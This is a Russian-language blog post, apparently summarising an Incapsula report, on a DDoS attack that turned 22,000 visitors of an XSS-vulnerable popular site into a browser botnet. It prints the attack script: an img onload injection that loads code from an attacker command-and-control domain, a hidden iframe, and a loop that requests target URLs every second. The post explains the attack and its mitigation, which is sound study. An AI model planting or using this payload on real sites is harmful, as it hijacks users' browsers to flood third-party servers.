В блоге Incapsula появилась интересная заметка о новом типе DDoS-атак. на этот раз в виде атакующей сети выступают посетители популярного веб-ресурса.
Была проведена DDoS-атака мощностью 20 миллионов GET-запросов, источником которых были браузеры 22 тысяч пользователей, которые зашли на инфицированный сайт. Самое интересное, что атака стала возможной благодаря уязвимости в в одном из наиболее популярных сайтов (входящем в Alexa50).
Наличие XSS открывает двери DDoS-атаке большого масштаба
Для успешности проведения такого рода атаке необходимо несколько условия:
- Высокая посещаемость сайта — площадки для атаки
- Наличие на сайте XSS-уязвимости, затрагивающей потенциально большое количество страниц
- Значительное время посещения сайта
Сама XSS-уязвимость может быть любого рода, важно только, чтобы она могла быть использована на значительном количестве страниц, чтобы пользователи сайта гарантированно получали вредоносное содержимое и были невольными участниками DDoS-атаки.
Ситуация осложняется, если пользователь зараженного сайта проводит значительное время на каждой странице (например, просматривая видео или фотографии). В этом случае однажды запущенный скрипт будет продолжать атака из браузера пользователя все время посещения сайта — а то может быть и 10, и 20, и 30 минут.
Сам вредоносный скрипт разделяется на три части:
// Инъекция в тег <img>, XSS-уязвимость <img src="/imagename.jpg" onload="$.getScript('http://c&cdomain.com/index.html')" /> // Загрузка вредоносного iframe $("body").append("<iframe id='ifr11323' style='display:none;' src='http://c&cdomain.com/index.html'></iframe>"); // Схематичное проведение DDoS-атаки из загруженного iframe <html><body> <h1>Iframe</h1> <script> ddos('http://www.target1.com/1.jpg', 'http://www.target2.com/1.jpg'); function ddos(url,url2){ window.setInterval(function (){ $.getScript(url); $.getScript(url2); },1000) } </script> </body></html>
Первая часть производит загрузку вредоносного JavaScript со служебного домена (находящего под управлением атакующих). Вторая часть загружает требуемый для атаки невидимый iframe. Третья часть осуществляет саму DDoS-атаку по заданным векторам (адресам). В простом случае от второй части можно отказаться, но это усложнит управление атакующими мощностями.
Отражение атаки
К счастью, поскольку атака практически вся автоматизирована (выбор векторов задан алгоритмически), то она может быть легко отражена большинством существующих инструментов и сервисов. В частности, разновидности такой атаки использовались в случае защиты от DDoS сайта Русской линии, когда мощность атак доходила до 3 млн. запросов в секунду.